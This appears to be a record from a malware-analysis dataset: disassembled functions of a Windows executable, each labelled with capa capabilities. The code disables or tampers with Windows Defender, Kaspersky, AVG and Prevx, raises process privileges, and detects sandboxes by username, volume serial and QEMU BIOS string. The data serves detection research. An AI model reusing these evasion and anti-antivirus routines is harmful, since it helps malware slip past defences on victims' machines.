joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401fb0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push 0x220
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x402048
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x18
jne 0x4020ab
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x4020ab
mov edi, dword [ebp - 4]
mov dword [ebp - 4], 0
test esi, esi
je 0x40203f
lea ecx, [ebp - 4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x40203f
test byte [ebp - 4], 2
jne 0x40203f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x228]
push ecx
push esi
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x402015
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Module32Next]
push 0x4045d8
lea edx, [ebp - 0x208]
push edx
call edi
test eax, eax
je 0x40208e
push 0x4045e0
push eax
call edi
test eax, eax
jne 0x4020a1
lea eax, [ebp - 0x228]
push eax
push esi
call ebx
test eax, eax
jne 0x402070
jmp 0x402015
mov edi, 1
jmp 0x402018
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4020c0
Capabilities:
Get common file path
Get program files directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4052a0
push 0x403b02
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov byte [ebp - 0x120], bl
push 0x103
push ebx
lea eax, [ebp - 0x11f]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
xor esi, esi
lea ecx, [ebp - 0x120]
push ecx
push ebx
push ebx
push 0x26
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x402187
push str.Windows_Defender
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x402187
push str.MpClient.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, ebx
je 0x402187
push str.WDEnable
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x402187
mov dword [ebp - 4], ebx
push ebx
call eax
mov dword [ebp - 4], 0xffffffff
jmp 0x402187
test esi, esi
je 0x402192
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4021b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push ebx
push ebx
push str..KmxAgent
mov dword [ebp - 0xb4], 0xb4
mov dword [ebp - 0xb0], 0x10
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], 0x7b761e52
mov dword [ebp - 0x88], 0x1c94cc7
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 1
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x64], 0x20000000
mov dword [ebp - 0x60], 0x1210064
mov dword [ebp - 0x5c], 0x22
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0x4d0007
mov dword [ebp - 0x50], 0x730065
mov dword [ebp - 0x4c], 0x610073
mov dword [ebp - 0x48], 0x650067
mov dword [ebp - 0x44], 0x420000
mov dword [ebp - 0x40], 0xb0022
mov dword [ebp - 0x3c], 0x490000
mov dword [ebp - 0x38], 0x530053
mov dword [ebp - 0x34], 0x560045
mov dword [ebp - 0x30], 0x4e0045
mov dword [ebp - 0x2c], 0x490054
mov dword [ebp - 0x28], 0x3d0044
mov dword [ebp - 0x24], 0x300034
mov dword [ebp - 0x20], 0x320030
mov dword [ebp - 0x1c], 0x650000
mov dword [ebp - 0x18], 0x70006d
mov dword [ebp - 0x14], 0x790074
mov dword [ebp - 0x10], 0x45003d
mov dword [ebp - 0xc], 0x70006d
mov dword [ebp - 8], 0x790074
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402330
push ebx
lea eax, [ebp - 0xbc]
push eax
push 4
lea ecx, [ebp - 0xb8]
push ecx
push 0xb4
lea edx, [ebp - 0xb4]
push edx
push 0x86000054
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402340
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80000080
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 3
push 0xc0000000
push str..pipe_acsipc_server
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x60], 0xd48a445e
mov dword [ebp - 0x5c], 0x466e1597
mov dword [ebp - 0x58], 0x327416ba
mov dword [ebp - 0x54], 0x68ccde15
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0x11
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], 0x11
mov dword [ebp - 0x38], 0xb5cb6c63
mov dword [ebp - 0x34], 0x46df52db
mov dword [ebp - 0x30], 0x65aa6b83
mov dword [ebp - 0x2c], 0x229bf18e
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402424
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea ecx, [ebp - 4]
push ecx
push 0x28
lea edx, [ebp - 0x60]
push edx
push esi
call edi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
push ebx
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x23], ecx
push 0x1c
lea ecx, [ebp - 0x38]
push ecx
push esi
mov dword [ebp - 0x1f], edx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402430
Capabilities:
Get common file path
Get program files directory
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x26
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x402515
xor eax, eax
lea esp, [esp]
mov cl, byte [ebp + eax - 0x104]
mov byte [ebp + eax - 0x208], cl
inc eax
test cl, cl
jne 0x402460
lea eax, [ebp - 0x104]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402480
mov ecx, dword [str.AVGAVG9dfncfg.dat]
mov edx, dword [0x404dfc]
mov dword [eax], ecx
mov ecx, dword [0x404e00]
mov dword [eax + 4], edx
mov edx, dword [0x404e04]
mov dword [eax + 8], ecx
mov ecx, dword [0x404e08]
mov dword [eax + 0xc], edx
mov dl, byte [0x404e0c]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x208]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4024c4
mov ecx, dword [str.AVGAVG9dfmcfg.dat]
mov edx, dword [0x404e14]
mov dword [eax], ecx
mov ecx, dword [0x404e18]
mov dword [eax + 4], edx
mov edx, dword [0x404e1c]
mov dword [eax + 8], ecx
mov ecx, dword [0x404e20]
mov dword [eax + 0xc], edx
mov dl, byte [0x404e24]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov esp, ebp
pop ebp
ret
Function at 0x402520
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push 0x23
push 0
mov byte [ebp - 1], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x402650
lea eax, [ebp - 0x10c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402552
mov ecx, dword [str.PrevxCSIcsidb.csi]
mov edx, dword [0x404e2c]
push esi
push 0
push 0x80
mov dword [eax], ecx
mov ecx, dword [0x404e30]
push 3
mov dword [eax + 4], edx
mov edx, dword [0x404e34]
push 0
mov dword [eax + 8], ecx
mov ecx, dword [0x404e38]
push 3
mov dword [eax + 0xc], edx
push 0xc0000000
lea edx, [ebp - 0x10c]
push edx
mov dword [eax + 0x10], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40264f
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0x17a8
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call ebx
push 0
push 0
push 0xb98
push esi
call edi
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call ebx
push 0
push 0
push 0x17e4
push esi
call edi
push 0
lea ecx, [ebp - 8]
push ecx
push 1
lea edx, [ebp - 1]
push edx
push esi
call ebx
push 0
push 0
push 0x17dc
push esi
call edi
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call ebx
push 0
push 0
push 0x3380
push esi
call edi
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402b70
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
call section..rdata
push 0x404f1c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00403920
test eax, eax
je 0x402bb1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004021b0
call fcn.004020c0
push 0
push str.____AVP.Root
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x402be6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x10001
push 0x466
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
call fcn.00402340
call fcn.00402430
call fcn.00402520
call fcn.00402660
mov edi, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call edi
test eax, eax
jne 0x402c17
call fcn.004033b0
test eax, eax
je 0x402c17
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call edi
push 0x4045b8
mov ebx, eax
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402c50
push 0x4045c8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402c50
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 8], 0
je 0x402ca2
test ebx, ebx
je 0x402c70
push str._apppatch_
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402c93
lea esi, [ebp - 0x10c]
call fcn.00401130
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.00401b70
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402db4
call fcn.004028b0
call fcn.00401520
jmp 0x402db4
test ebx, ebx
je 0x402d59
push str._apppatch_
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402cfd
lea esi, [ebp - 0x10c]
call fcn.00401130
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402db4
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402d95
lea ecx, [ebp - 1]
push ecx
jmp 0x402d89
call fcn.004028b0
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402d52
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402d33
lea edx, [ebp - 1]
push edx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call edi
test eax, eax
mov eax, 0x404ebc
jne 0x402d43
mov eax, 0x404ecc
push eax
call fcn.00401aa0
test eax, eax
je 0x402d52
call fcn.00401b70
call fcn.00401520
jmp 0x402db4
lea esi, [ebp - 0x10c]
call fcn.00401130
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402db4
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402d95
lea eax, [ebp - 1]
push eax
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call edi
test eax, eax
mov eax, 0x404ebc
jne 0x402da5
mov eax, 0x404ecc
push eax
call fcn.00401aa0
test eax, eax
je 0x402db4
call fcn.00401b70
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403310
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push esi
lea eax, [ebp - 0x9c]
push eax
mov esi, 0x80004005
mov dword [ebp - 4], 0
mov dword [ebp - 0x9c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x40339d
cmp dword [ebp - 0x8c], 2
jne 0x40339d
cmp dword [ebp - 0x98], 6
jb 0x40339d
lea ecx, [ebp - 4]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40339d
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push 4
push eax
push 0x12
push ecx
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x403393
cmp dword [ebp - 8], 4
jne 0x403393
xor esi, esi
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x403870
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.HARDWAREDESCRIPTIONSystem
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 8], 0x400
mov dword [ebp - 0xc], 7
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4038d5
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x40c]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push str.SystemBiosVersion
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4038db
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x40c], 0x51
jne 0x4038d5
cmp byte [ebp - 0x40b], 0x45
jne 0x4038d5
cmp byte [ebp - 0x40a], 0x4d
jne 0x4038d5
cmp byte [ebp - 0x409], 0x55
jne 0x4038d5
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x403920
Capabilities:
Check for sandbox username or hostname
Get disk information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
mov dword [ebp - 8], 0x104
mov dword [ebp - 4], 0
mov ebx, 1
call edi
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea ecx, [ebp - 0x10c]
push str.test_item.exe
push ecx
call esi
add esp, 8
test eax, eax
jne 0x403ac6
call fcn.00403870
test eax, eax
jne 0x403ac6
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.USER32.dll_CharUpperA]
lea edx, [ebp - 0x210]
push str.SANDBOX
push edx
call esi
add esp, 8
test eax, eax
jne 0x403ac6
lea eax, [ebp - 0x210]
push str.MALNETVM
push eax
call esi
add esp, 8
test eax, eax
jne 0x403ac6
lea ecx, [ebp - 0x210]
push str.VIRUSCLONE
push ecx
call esi
add esp, 8
test eax, eax
jne 0x403ac6
lea edx, [ebp - 0x210]
push str.test_user
push edx
call esi
add esp, 8
test eax, eax
jne 0x403ac6
lea eax, [ebp - 0x210]
push str.Dave
push eax
call esi
add esp, 8
test eax, eax
jne 0x403ac6
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
mov byte [ebp - 0x109], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 4]
cmp eax, 0xcd1a40
je 0x403ac6
cmp eax, 0x6cbbc508
je 0x403ac6
cmp eax, 0x774e1682
je 0x403ac6
cmp eax, 0x837f873e
je 0x403ac6
cmp eax, 0x8b6f64bc
je 0x403ac6
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push 0
call edi
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str._sand_box_
lea edx, [ebp - 0x10c]
push edx
call esi
test eax, eax
jne 0x403ac6
push str.cwsandbox_
lea eax, [ebp - 0x10c]
push eax
call esi
test eax, eax
jne 0x403ac6
push str._sandbox_
lea ecx, [ebp - 0x10c]
push ecx
call esi
test eax, eax
jne 0x403ac6
xor ebx, ebx
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403ad0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, 0xffffffff
test ecx, ecx
mov esi, dword [ebp + 8]
je 0x403af9
xor al, byte [esi]
movzx edx, al
shr eax, 8
mov edx, dword [edx*4 + section..data_1]
inc esi
xor eax, edx
dec ecx
jne 0x403ae4
xor eax, 0xffffffff
pop esi
leave
ret 0xc
Function at 0x406603
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004054b4
and dword [ebp - 4], 0
cmp dword [0x4506c8], 0
mov ebx, eax
jne 0x4066b4
push 0x401c40
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406765
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401c34
push edi
call esi
test eax, eax
je 0x406765
push eax
call fcn.00405442
mov dword [esp], 0x401c24
push edi
mov dword [0x4506c8], eax
call esi
push eax
call fcn.00405442
mov dword [esp], 0x401c10
push edi
mov dword [0x4506cc], eax
call esi
push eax
call fcn.00405442
mov dword [esp], 0x401bf4
push edi
mov dword [0x4506d0], eax
call esi
push eax
call fcn.00405442
pop ecx
mov dword [0x4506d8], eax
test eax, eax
je 0x4066b4
push 0x401bdc
push edi
call esi
push eax
call fcn.00405442
pop ecx
mov dword [0x4506d4], eax
mov eax, dword [0x4506d4]
cmp eax, ebx
je 0x40670c
cmp dword [0x4506d8], ebx
je 0x40670c
push eax
call fcn.004054bd
push dword [0x4506d8]
mov esi, eax
call fcn.004054bd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40670c
test edi, edi
je 0x40670c
call esi
test eax, eax
je 0x406703
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406703
test byte [ebp - 0xc], 1
jne 0x40670c
or dword [ebp + 0x10], 0x200000
jmp 0x406745
mov eax, dword [0x4506cc]
cmp eax, ebx
je 0x406745
push eax
call fcn.004054bd
pop ecx
test eax, eax
je 0x406745
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406745
mov eax, dword [0x4506d0]
cmp eax, ebx
je 0x406745
push eax
call fcn.004054bd
pop ecx
test eax, eax
je 0x406745
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4506c8]
call fcn.004054bd
pop ecx
test eax, eax
je 0x406765
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406767
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408498
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44f9f8]
jne 0x4084a2
repz ret
jmp fcn.0040b245
Function at 0x40bf6a
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ebx
cmp eax, ebx
je 0x40c02d
cmp word [eax], bx
je 0x40c02d
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
cmp edi, ebx
jne 0x40bfe8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, ebx
jle 0x40bfbb
and eax, 0xffff
or eax, 0x80070000
mov esi, eax
cmp esi, ebx
jl 0x40bfc6
mov esi, 0x80004005
push esi
push 0x1f1
push 0x43b6a0
call fcn.004314ce
push 0x43b684
push esi
call fcn.004314ba
pop ecx
pop ecx
jmp 0x40c08a
xor esi, esi
cmp dword [ebp - 0x10], ebx
jle 0x40c02d
mov eax, dword [edi + esi*4]
movzx ecx, word [eax]
cmp ecx, 0x2d
je 0x40bfff
cmp ecx, 0x2f
jne 0x40c01b
push 0xffffffffffffffff
push 0x40268c
push 0xffffffffffffffff
add eax, 2
push eax
push 1
push 0x7f
call dword [sym.imp.KERNEL32.dll_CompareStringW]
cmp eax, 2
je 0x40c027
push dword [edi + esi*4]
lea eax, [ebp - 0xc]
push eax
call fcn.0042ffca
inc esi
cmp esi, dword [ebp - 0x10]
jl 0x40bfef
push ebx
lea eax, [ebp - 4]
push eax
call fcn.0043052a
mov esi, eax
cmp esi, ebx
jge 0x40c04c
push 0x43b660
push esi
call fcn.004314ba
pop ecx
pop ecx
jmp 0x40c07f
mov eax, dword [ebp - 0xc]
cmp eax, ebx
ja 0x40c058
mov eax, 0x43b65e
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 8]
push eax
push dword [ebp - 4]
call fcn.0042e832
mov esi, eax
cmp esi, ebx
jge 0x40c07f
push dword [ebp - 4]
push 0x43b628
push esi
call fcn.004314ba
add esp, 0xc
cmp edi, ebx
je 0x40c08a
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 8], ebx
je 0x40c09b
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 8], ebx
cmp dword [ebp - 0xc], ebx
je 0x40c0a8
push dword [ebp - 0xc]
call fcn.0042ead8
cmp dword [ebp - 4], ebx
je 0x40c0b5
push dword [ebp - 4]
call fcn.0042ead8
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4
Function at 0x40c350
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
and dword [ebp - 8], 0
cmp dword [esi + 0x268], 2
push ebx
push edi
jne 0x40c3b6
lea ebx, [esi + 0x278]
lea eax, [esi + 0x274]
push ebx
push eax
call fcn.0040cd62
mov edi, eax
test edi, edi
jns 0x40c38d
push 0x43b8b4
jmp 0x40c4fc
push dword [esi + 0x2a8]
push dword [ebx]
push dword [esi + 0x274]
push dword [esi + 0x2c]
push dword [ebp + 0xc]
call fcn.0040cea2
mov edi, eax
test edi, edi
jns 0x40c3b6
push 0x43b88e
jmp 0x40c4fc
push 1
lea eax, [esi + 0x274]
push eax
call fcn.0040dd34
mov edi, eax
test edi, edi
jns 0x40c3d4
push 0x43b864
jmp 0x40c4fc
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [esi + 0x26c], eax
cmp eax, 0xffffffff
jne 0x40c41e
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x40c3f9
and eax, 0xffff
or eax, 0x80070000
mov edi, eax
test edi, edi
js 0x40c404
mov edi, 0x80004005
push edi
push 0x1a4
push 0x43b6a0
call fcn.004314ce
push 0x43b82e
jmp 0x40c4fc
push dword [esi + 0x284]
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x40c468
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x40c443
and eax, 0xffff
or eax, 0x80070000
mov edi, eax
test edi, edi
js 0x40c44e
mov edi, 0x80004005
push edi
push 0x1a9
push 0x43b6a0
call fcn.004314ce
push 0x43b7ea
jmp 0x40c4fc
push esi
push dword [ebp + 8]
call fcn.0041ba7a
mov edi, eax
test edi, edi
jns 0x40c47e
push 0x43b7c4
jmp 0x40c4fc
push 1
call fcn.00432156
push esi
push 0x40c106
call fcn.00430b9a
lea eax, [esi + 0x18]
push eax
lea eax, [esi + 0xe4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [esi + 0xa8]
push eax
lea eax, [esi + 0xe8]
push eax
lea eax, [esi + 0x78]
push eax
lea eax, [esi + 0x1b0]
push eax
lea eax, [esi + 0x198]
push eax
lea eax, [esi + 0x1b8]
push eax
lea eax, [esi + 0x1a0]
push eax
push dword [esi + 0x288]
push dword [esi + 0x284]
push dword [esi + 0x26c]
call fcn.0041b664
push 0
push 0
mov edi, eax
call fcn.00430b9a
test edi, edi
jns 0x40c504
push 0x43b796
push edi
call fcn.004314ba
pop ecx
pop ecx
xor ebx, ebx
push ebx
push ebx
call fcn.00430b9a
push esi
call fcn.0041b7a2
cmp dword [ebp - 8], ebx
je 0x40c51d
call fcn.00419348
cmp dword [ebp - 4], ebx
je 0x40c534
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebx
leave
ret 8